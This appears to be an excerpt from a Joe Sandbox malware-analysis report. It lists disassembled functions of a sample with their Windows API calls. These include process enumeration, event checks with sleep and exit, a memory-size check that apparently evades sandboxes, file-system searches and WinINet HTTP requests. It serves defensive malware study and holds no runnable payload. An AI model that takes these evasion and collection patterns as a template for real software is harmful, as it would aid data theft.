Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

CloseHandle.KERNEL32(?), ref: 00338761

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 7f800a377480978e1f402355e530103801a786b4b4b68ae14bac8b4b7496526e
Instruction ID: e3872019d27e361dd03ee3f5e6f42023bb212e936d198c084b9d963d8cd24f4e
Opcode Fuzzy Hash: 7f800a377480978e1f402355e530103801a786b4b4b68ae14bac8b4b7496526e
Instruction Fuzzy Hash: 75314B71901618ABCB26DF94DC85FEEB7B8EF45700F104199F10ABA1A0DF746A45CFA1

Function 00336AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00F29160,?,0034110C,?,00000000,?,00341110,?,00000000,00340AEF), ref: 00336ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00336AE8
CloseHandle.KERNEL32(00000000), ref: 00336AF9
Sleep.KERNEL32(00001770), ref: 00336B04
CloseHandle.KERNEL32(?,00000000,?,00F29160,?,0034110C,?,00000000,?,00341110,?,00000000,00340AEF), ref: 00336B1A
ExitProcess.KERNEL32 ref: 00336B22

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 48f6a15f5c44faa0f56db2d3c47d61d3fdff0e1ec06e3d9d487277aee033c2d0
Instruction ID: 018922725b9f64f4543cc4610aaedefa2458bea335446c103b7ec3bb1dd2e087
Opcode Fuzzy Hash: 48f6a15f5c44faa0f56db2d3c47d61d3fdff0e1ec06e3d9d487277aee033c2d0
Instruction Fuzzy Hash: DCF05870A44209BFE712ABA0DC9BBBEBB38EB14701F108514F503BA1C1DBF05544EEA6

Function 003247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

Strings

<, xrefs: 003247C9

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 97526ae7d36a78178b2473de18729498920f50623977d39e29c74d8871871510
Instruction ID: d03b58271ad96e18174c95f08a9d956777ad52c89a514ef53869d812a4c83a40
Opcode Fuzzy Hash: 97526ae7d36a78178b2473de18729498920f50623977d39e29c74d8871871510
Instruction Fuzzy Hash: 7C214DB1D00208ABDF14DFA5ED46ADD7B78FB44320F108225F965AB2D0DB706A0ADF91

Function 003351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 00326280: InternetOpenA.WININET(00340DFE,00000001,00000000,00000000,00000000), ref: 003262E1
Part of subcall function 00326280: StrCmpCA.SHLWAPI(?,00F2E9A0), ref: 00326303
Part of subcall function 00326280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00326335
Part of subcall function 00326280: HttpOpenRequestA.WININET(00000000,GET,?,00F2E4D0,00000000,00000000,00400100,00000000), ref: 00326385
Part of subcall function 00326280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003263BF
Part of subcall function 00326280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003263D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00335228

Strings

ERROR, xrefs: 00335273
ERROR, xrefs: 0033521A

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: e88cebc6782aa427a93720d8da0dd60e7e747ecb4ede470524316e8d62687f12
Instruction ID: 18aa17a3be4c5296e4a45404fb5052fd76706389f5c3fb5a16855f83047f07d8
Opcode Fuzzy Hash: e88cebc6782aa427a93720d8da0dd60e7e747ecb4ede470524316e8d62687f12
Instruction Fuzzy Hash: 98117030800908ABCB06FFA4DDD2AED3738AF50300F404558F84A4F592EF34AB05DA91

Function 00321220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0032123E
ExitProcess.KERNEL32 ref: 00321294

Strings

@, xrefs: 00321233

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: a58ff027a5e623ea46e4e723d6a3083e1557ad9f422d21904cd5854bc8a6da3b
Instruction ID: 1b951a2c2b273b76a39b9c69fe74560b48e97a2504424525e71c66574e783697
Opcode Fuzzy Hash: a58ff027a5e623ea46e4e723d6a3083e1557ad9f422d21904cd5854bc8a6da3b
Instruction Fuzzy Hash: 6A016DB0D44308FAEB11DBE4ED49B9EBB78AB24701F208448F705BA2C0D7B455458B99

Function 00334F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

lstrcat.KERNEL32(?,00000000), ref: 00334F7A
lstrcat.KERNEL32(?,00341070), ref: 00334F97
lstrcat.KERNEL32(?,00F29080), ref: 00334FAB
lstrcat.KERNEL32(?,00341074), ref: 00334FBD

Part of subcall function 00334910: wsprintfA.USER32 ref: 0033492C
Part of subcall function 00334910: FindFirstFileA.KERNEL32(?,?), ref: 00334943

Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,00340FDC), ref: 00334971
Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,00340FE0), ref: 00334987
Part of subcall function 00334910: FindNextFileA.KERNEL32(000000FF,?), ref: 00334B7D
Part of subcall function 00334910: FindClose.KERNEL32(000000FF), ref: 00334B92

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 7d21b2aa195177c1298150f1ceaf5943d405a2603c2b326e2a3538f4b3efaf34
Instruction ID: 800e5c04521f933c575b655780f708a1aa184c3760f70e34183c186708ab0998
Opcode Fuzzy Hash: 7d21b2aa195177c1298150f1ceaf5943d405a2603c2b326e2a3538f4b3efaf34
Instruction Fuzzy Hash: EB219B7690020467C755F774EC86EED337CAB64300F004554F65AAB181EEB5A6CD9F92

Function 00330740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00F28F90), ref: 0033079A
StrCmpCA.SHLWAPI(00000000,00F28F60), ref: 00330866
StrCmpCA.SHLWAPI(00000000,00F28FB0), ref: 0033099D

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: c1c1085638cfce32533b848cd5fab396de582380737e3d14f0b1537373e44530
Instruction ID: 5b12d2193ea0239ef98d5b2935856cd74b325f7c21e49bd699df66590001f5bb
Opcode Fuzzy Hash: c1c1085638cfce32533b848cd5fab396de582380737e3d14f0b1537373e44530
Instruction Fuzzy Hash: EC918775A102089FCB29EF64D9D1BEDB7B5FF94300F508518E84A9F241DB30AA09CB92

Function 00330765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00F28F90), ref: 0033079A
StrCmpCA.SHLWAPI(00000000,00F28F60), ref: 00330866
StrCmpCA.SHLWAPI(00000000,00F28FB0), ref: 0033099D

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

